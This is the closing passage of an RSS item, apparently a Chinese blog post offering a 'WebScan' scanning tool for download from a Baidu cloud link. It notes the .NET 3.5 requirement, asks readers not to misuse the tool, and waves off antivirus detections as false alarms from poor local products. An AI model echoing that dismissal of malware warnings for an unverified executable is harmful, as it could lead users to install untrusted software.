&lt;p&gt;　　程序需要.net framework 3.5。。win7默认都有。不用担心。xp用户可以下载环境后使用。毕竟是扫描工具，国内那些2b杀软会报毒，不放心的去世界杀毒网自己扫描吧。千万不要用来干坏事，遵守我国相关法律法规。&lt;/p&gt;
&lt;p&gt;[downloadicon href=http://pan.baidu.com/share/link?shareid=83803&amp;amp;uk=1493685990]WebScan下载[/downloadicon]&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
